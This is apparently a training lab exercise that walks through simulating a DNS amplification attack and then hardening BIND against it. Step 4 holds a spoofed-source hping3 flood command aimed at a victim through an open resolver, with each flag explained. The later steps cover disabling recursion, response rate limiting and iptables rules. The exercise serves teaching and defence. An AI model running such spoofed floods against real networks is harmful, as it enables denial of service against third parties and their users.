Exercise 34: Simulating a DNS Amplification Attack

Objective

Understand the mechanics of a DNS amplification attack and explore mitigation strategies by simulating the attack in a controlled lab environment.

Scenario

As a cybersecurity analyst, it is essential to understand how DNS amplification attacks work and how to mitigate them. In this exercise, you’ll simulate a DNS amplification attack using hping3, monitor its impact on a target server, and apply mitigation strategies such as rate-limiting and disabling open recursion on the DNS server.

⚠️ Important: This exercise must only be performed in a legal and controlled lab environment. Unauthorized network attacks are illegal and unethical.

Lab Instructions

Step 1: Set Up the Lab Environment

• Target Server (Victim): Linux server running a DNS service (e.g., BIND).
• DNS Server (Amplifier): Misconfigured DNS server with open recursion enabled.
• Attacker Machine: Linux system with hping3 installed.

Step 2: Install Required Tools

a. Install hping3 on the Attacker Machine

sudo apt update
sudo apt install hping3 -y

b. Install a DNS Server on the Amplifier Machine

sudo apt install bind9 -y

Step 3: Configure the DNS Server (Amplifier)

• Edit the BIND configuration file to allow open recursion (for simulation only):

sudo nano /etc/bind/named.conf.options

• Add or modify:

options {
    recursion yes;
    allow-recursion { any; };
    allow-query { any; };
};

• Restart BIND to apply changes:

sudo systemctl restart bind9

Step 4: Simulate a DNS Amplification Attack

a. Identify a Large DNS Record for Amplification

• Use a domain with large DNS records (e.g., TXT records):

dig ANY example.com @<dns-server-ip>

b. Launch the Amplification Attack

• On the Attacker Machine, send spoofed DNS queries to the DNS server, making the target server appear as the sender:

sudo hping3 --rand-source -2 -p 53 -a <victim-ip> <dns-server-ip> -d 120 -E /path/to/large_query.txt --flood

• Explanation:
  • -2: Uses UDP.
  • -p 53: Targets DNS service.
  • -a <victim-ip>: Spoofs the victim’s IP.
  • --flood: Sends packets as fast as possible.

Step 5: Monitor the Target Server

a. Check Network Traffic

• On the Victim Machine:

sudo iftop -i eth0

b. Monitor CPU and Memory Usage

htop

• Expected Result: Increased inbound traffic and high resource consumption.

Step 6: Mitigate the Attack

a. Disable Open Recursion

• On the DNS Server:

sudo nano /etc/bind/named.conf.options

• Modify:

options {
    recursion no;
};

• Restart the DNS server:

sudo systemctl restart bind9

b. Implement Rate Limiting (DNS RRL)

• Add the following to BIND configuration:

rate-limit {
    responses-per-second 5;
    window 5;
};

• Restart BIND:

sudo systemctl restart bind9

c. Apply Firewall Rate Limiting

• On the DNS Server:

sudo iptables -A INPUT -p udp --dport 53 -m limit --limit 10/second --limit-burst 20 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j DROP

Step 7: Verify the Mitigation

• Re-run the attack and monitor the target server’s traffic and resource usage.
• Expected Result: Reduced impact on the victim server.

Solution & Explanation

How DNS Amplification Attacks Work

• Amplification: Small DNS queries generate large responses.
• Spoofing: The attacker spoofs the victim’s IP, causing DNS servers to flood the victim with responses.

Impact of the Attack

• Bandwidth Consumption: Overwhelms the victim’s network.
• Resource Exhaustion: Consumes server resources, leading to denial of service.

Mitigation Strategies

1. Disable Open Recursion: Prevents DNS misuse.
2. Enable DNS Rate Limiting (RRL): Controls response rates.
3. Implement Firewall Rules: Blocks excessive DNS traffic.
4. Deploy Anycast Networks: Distributes traffic load geographically.

Testing & Verification

• Verify that disabling open recursion prevents DNS amplification.
• Confirm that rate-limiting reduces response flooding.
• Monitor server performance before and after applying mitigation.

Check BIND Logs

sudo tail -f /var/log/syslog

Verify iptables Rules

sudo iptables -L -v -n | grep 53

Security Best Practices

1. Disable Open Recursion: Prevent unauthorized DNS queries.
2. Apply DNS Rate Limiting: Control response rates.
3. Monitor DNS Traffic: Detect unusual patterns.
4. Use Secure DNS Configurations: Implement DNSSEC.

Additional Script (Optional)

Automate DNS hardening:

#!/bin/bash
# Secure DNS Configuration
sudo sed -i 's/recursion yes;/recursion no;/g' /etc/bind/named.conf.options
sudo iptables -A INPUT -p udp --dport 53 -m limit --limit 10/second --limit-burst 20 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j DROP
sudo systemctl restart bind9

echo "DNS server secured against amplification attacks."

Run the script:

chmod +x secure_dns.sh
sudo ./secure_dns.sh

Conclusion

In this exercise, you simulated a DNS amplification attack using hping3, monitored its impact on the target server, and mitigated the attack by disabling open recursion and implementing rate-limiting. Understanding and mitigating amplification attacks are essential to protecting network infrastructure.